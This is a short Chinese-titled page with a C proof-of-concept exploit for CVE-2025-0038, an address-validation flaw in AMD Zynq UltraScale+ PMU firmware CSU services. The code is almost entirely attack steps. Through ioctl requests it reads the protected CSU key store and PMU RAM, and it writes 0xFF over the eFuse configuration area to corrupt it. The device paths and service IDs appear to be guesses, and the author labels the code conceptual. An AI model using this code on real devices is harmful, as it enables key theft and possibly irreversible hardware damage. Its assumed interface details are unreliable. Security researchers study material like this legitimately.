CVE-2025-0038：AMD Zynq UltraScale+ PMU固件CSU服务地址验证缺失漏洞

# CVE-2025-0038 PoC - Conceptual Exploit for AMD Zynq UltraScale+ PMU Firmware # Address validation bypass in CSU runtime services via PMU Firmware # WARNING: This is a conceptual PoC for educational/research purposes only. #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/mman.h> // CSU (Configuration and Security Unit) runtime service interface // The PMU firmware handles CSU runtime service requests #define CSU_RT_SERVICE_REQUEST 0x100 #define IOCTL_CSU_RT_SERVICE _IOWR('C', 0x01, struct csu_rt_request) // CSU runtime service request structure // Note: The target_address field is not validated by PMU firmware struct csu_rt_request { uint32_t service_id; // CSU service identifier uint32_t function_id; // Function within the service uint64_t target_address; // Target memory address (NOT VALIDATED - vulnerability point) uint32_t data_length; // Length of data to read/write uint8_t operation; // 0 = read, 1 = write uint8_t payload[256]; // Data payload }; // Target protected memory regions in Zynq UltraScale+ #define CSU_KEY_STORE_BASE 0xFFCC0000 // Protected key storage area #define CSU_EFUSE_BASE 0xFFCC1000 // eFuse configuration area #define PMU_RAM_BASE 0xFFD80000 // PMU local RAM #define CSU_ROM_BASE 0xFFCD0000 // CSU ROM (read-only normally) int main(int argc, char *argv[]) { int fd; struct csu_rt_request req; uint8_t read_buffer[256]; printf("[*] CVE-2025-0038 PoC - AMD Zynq UltraScale+ PMU CSU Address Validation Bypass\n"); // Open the device interface for PMU/CSU communication fd = open("/dev/pmu-csu", O_RDWR); if (fd < 0) { perror("[-] Failed to open PMU/CSU device"); // Try alternative device paths fd = open("/dev/zynq-pmu", O_RDWR); if (fd < 0) { perror("[-] Failed to open alternative device"); return 1; } } printf("[+] Opened PMU/CSU device interface\n"); // Step 1: Attempt to read from protected CSU key store printf("[*] Attempting to read protected CSU key store at 0x%lx...\n", CSU_KEY_STORE_BASE); memset(&req, 0, sizeof(req)); req.service_id = 0x01; // CSU key management service req.function_id = 0x02; // Read key function req.target_address = CSU_KEY_STORE_BASE; // Protected address - should be blocked req.data_length = 32; // Try to read 32 bytes req.operation = 0; // Read operation if (ioctl(fd, IOCTL_CSU_RT_SERVICE, &req) == 0) { printf("[!] VULNERABLE: Successfully read protected memory!\n"); printf("[!] Leaked data: "); for (int i = 0; i < 32; i++) { printf("%02x", req.payload[i]); } printf("\n"); } else { printf("[-] Read blocked (may be patched)\n"); } // Step 2: Attempt to access PMU internal RAM printf("[*] Attempting to access PMU internal RAM at 0x%lx...\n", PMU_RAM_BASE); memset(&req, 0, sizeof(req)); req.service_id = 0x02; // Memory access service req.function_id = 0x01; // Direct memory read req.target_address = PMU_RAM_BASE + 0x1000; req.data_length = 64; req.operation = 0; if (ioctl(fd, IOCTL_CSU_RT_SERVICE, &req) == 0) { printf("[!] VULNERABLE: PMU RAM accessible!\n"); } // Step 3: Attempt to write to eFuse configuration (integrity attack) printf("[*] Attempting write to eFuse configuration area...\n"); memset(&req, 0, sizeof(req)); req.service_id = 0x03; req.function_id = 0x05; req.target_address = CSU_EFUSE_BASE; req.data_length = 16; req.operation = 1; // Write operation memset(req.payload, 0xFF, 16); // Corrupt configuration if (ioctl(fd, IOCTL_CSU_RT_SERVICE, &req) == 0) { printf("[!] VULNERABLE: eFuse configuration overwritten!\n"); printf("[!] System integrity compromised - may cause availability impact\n"); } close(fd); printf("[*] PoC execution completed\n"); return 0; }